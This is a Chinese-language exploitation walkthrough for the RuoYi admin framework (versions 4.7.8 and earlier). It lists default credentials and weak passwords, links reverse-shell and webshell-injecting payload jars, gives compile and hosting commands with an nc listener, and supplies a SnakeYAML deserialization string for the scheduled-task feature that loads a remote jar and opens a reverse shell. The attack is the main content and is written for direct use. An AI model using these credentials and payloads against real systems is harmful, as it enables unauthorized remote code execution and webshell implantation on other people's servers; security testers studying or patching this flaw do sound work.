漏洞存在版本

漏洞在4.7.8版本及之前都存在该漏洞

若依弱口令

默认用户:ry、ruoyi、admin

常用的密码:admin、admin123、123456

后台定时任务

登录后台,找到添加定时任务的模块:

准备

准备过程:

  1. 准备反弹shell或者注入内存马的jar包。

  2. 将准备好的jar包放在测试者服务器上。

  3. 在测试者服务器上的存放jar包的文件夹下,使用python起一个http服务提供远程下载。

  4. 开启nc监听(注入内存马的payload不需要这一步)

1、准备利用的jar包
https://github.com/artsploit/yaml-payload #可以执行命令
https://github.com/lz2y/yaml-payload-for-ruoyi#注入冰蝎马的
https://github.com/M0untainShley/yaml-payload-for-ruoyi-godzilla#注入哥斯拉马
https://github.com/bkfish/yaml-payload-for-Win#Windows反弹shell的

这里复现用的是常规的反弹shell的https://github.com/bkfish/yaml-payload-for-Win ,这个下载后是需要自己修改内容然后编译打包的。

下载后修改AwesomeScriptEngineFactory.java 内容。

框着的内容换成测试服务nc监听的IP和端口

修改后,在src文件夹同一目录下执行编译和打包的命令:

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

至此jar包准备结束,其他的jar包利用可看对应github上有利用教程,基本上都是打包好的。

2、将准备好的jar包上传到测试服务上

很多SSH远程连接工具都支持文件上传,如Tabby 等不再赘述。

3、测试服务开启远程下载

使用python在有jar包文件下开启http服务,提供远程下载服务,命令如下:

python3 -m http.server 8000  #python3
python -m SimpleHTTPServer 8000  #python2

4、nc开启监听

利用

添加定时任务:

  • 任务名称:任意写

  • 调用目标字符串:org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["h't't'p'://[ip]:[port]/yaml-payload.jar"]]]]') ip和端口换成自己开启的http服务的ip和端口,yaml-payload.jar 换成你自己生成的jar包名称

  • cron表达式:0/10 * * * * ?(可以修改)

写好后保存执行,就会得到反弹的shell:

参考相关连接:

https://ctf.org.cn/2021/06/26/%E8%AE%B0%E4%B8%80%E6%AC%A1%E8%8B%A5%E4%BE%9Dcms%E5%90%8E%E5%8F%B0getshell/
https://github.com/artsploit/yaml-payload
https://github.com/lz2y/yaml-payload-for-ruoyi
https://github.com/M0untainShley/yaml-payload-for-ruoyi-godzilla
https://github.com/bkfish/yaml-payload-for-Win#Windows
等等